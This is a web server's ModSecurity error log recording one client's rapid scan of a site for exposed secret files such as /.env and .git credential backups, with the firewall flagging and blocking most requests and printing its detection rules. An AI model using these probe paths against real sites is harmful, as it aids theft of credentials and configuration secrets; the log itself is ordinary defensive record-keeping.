[Sun Oct 25 00:28:19.567680 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45594] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/env.php"] [unique_id "at2FY8mYnImk6kHi8hyMZgAAADA"]
[Sun Oct 25 00:28:19.571804 2026] [proxy_fcgi:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45594] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:28:19.632054 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45608] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at2FY9sOgdpl1YJRCNQVigAAAEU"]
[Sun Oct 25 00:28:19.632402 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at2FY9sOgdpl1YJRCNQVigAAAEU"]
[Sun Oct 25 00:28:19.632725 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at2FY9sOgdpl1YJRCNQVigAAAEU"]
[Sun Oct 25 00:28:19.633070 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at2FY9sOgdpl1YJRCNQVigAAAEU"]
[Sun Oct 25 00:28:19.690262 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45616] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2FY2noVolia533WIkgxQAAADQ"]
[Sun Oct 25 00:28:19.690530 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2FY2noVolia533WIkgxQAAADQ"]
[Sun Oct 25 00:28:19.690789 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2FY2noVolia533WIkgxQAAADQ"]
[Sun Oct 25 00:28:19.691075 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2FY2noVolia533WIkgxQAAADQ"]
[Sun Oct 25 00:28:19.747902 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45632] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2FY5nH_N6a0offkOBE0wAAACg"]
[Sun Oct 25 00:28:19.748169 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2FY5nH_N6a0offkOBE0wAAACg"]
[Sun Oct 25 00:28:19.748413 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2FY5nH_N6a0offkOBE0wAAACg"]
[Sun Oct 25 00:28:19.748653 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2FY5nH_N6a0offkOBE0wAAACg"]
[Sun Oct 25 00:28:19.810967 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45648] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2FY2TNY6y0aXZ6joCapAAAADk"]
[Sun Oct 25 00:28:19.811366 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45648] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2FY2TNY6y0aXZ6joCapAAAADk"]
[Sun Oct 25 00:28:19.811725 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45648] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2FY2TNY6y0aXZ6joCapAAAADk"]
[Sun Oct 25 00:28:19.812137 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45648] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2FY2TNY6y0aXZ6joCapAAAADk"]
[Sun Oct 25 00:28:19.877082 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45652] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2FY1TnwNJm6o1fQZIgCwAAAAI"]
[Sun Oct 25 00:28:19.877336 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2FY1TnwNJm6o1fQZIgCwAAAAI"]
[Sun Oct 25 00:28:19.877573 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2FY1TnwNJm6o1fQZIgCwAAAAI"]
[Sun Oct 25 00:28:19.877818 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2FY1TnwNJm6o1fQZIgCwAAAAI"]
[Sun Oct 25 00:28:19.934384 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45662] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2FY7Cux6YzXC46yX1OUgAAACY"]
[Sun Oct 25 00:28:19.934733 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45662] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2FY7Cux6YzXC46yX1OUgAAACY"]
[Sun Oct 25 00:28:19.935048 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45662] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2FY7Cux6YzXC46yX1OUgAAACY"]
[Sun Oct 25 00:28:19.935429 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45662] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2FY7Cux6YzXC46yX1OUgAAACY"]
[Sun Oct 25 00:28:20.009125 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45668] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2FZBzh2uHYztX7tG5lgQAAADw"]
[Sun Oct 25 00:28:20.009243 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45668] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2FZBzh2uHYztX7tG5lgQAAADw"]
[Sun Oct 25 00:28:20.009412 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45668] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2FZBzh2uHYztX7tG5lgQAAADw"]
[Sun Oct 25 00:28:20.009610 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2FZBzh2uHYztX7tG5lgQAAADw"]
[Sun Oct 25 00:28:20.009871 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2FZBzh2uHYztX7tG5lgQAAADw"]
[Sun Oct 25 00:28:20.069475 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45678] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials.bak"] [unique_id "at2FZDuLxR3FUbX6v9XEIAAAAAc"]
[Sun Oct 25 00:28:20.069614 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45678] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials.bak"] [unique_id "at2FZDuLxR3FUbX6v9XEIAAAAAc"]
[Sun Oct 25 00:28:20.069783 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45678] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/credentials.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials.bak"] [unique_id "at2FZDuLxR3FUbX6v9XEIAAAAAc"]
[Sun Oct 25 00:28:20.070011 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45678] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials.bak"] [unique_id "at2FZDuLxR3FUbX6v9XEIAAAAAc"]
[Sun Oct 25 00:28:20.070289 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45678] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials.bak"] [unique_id "at2FZDuLxR3FUbX6v9XEIAAAAAc"]
[Sun Oct 25 00:28:20.127517 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45690] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at2FZGQyb15Iqx39xvm2PQAAAC4"]
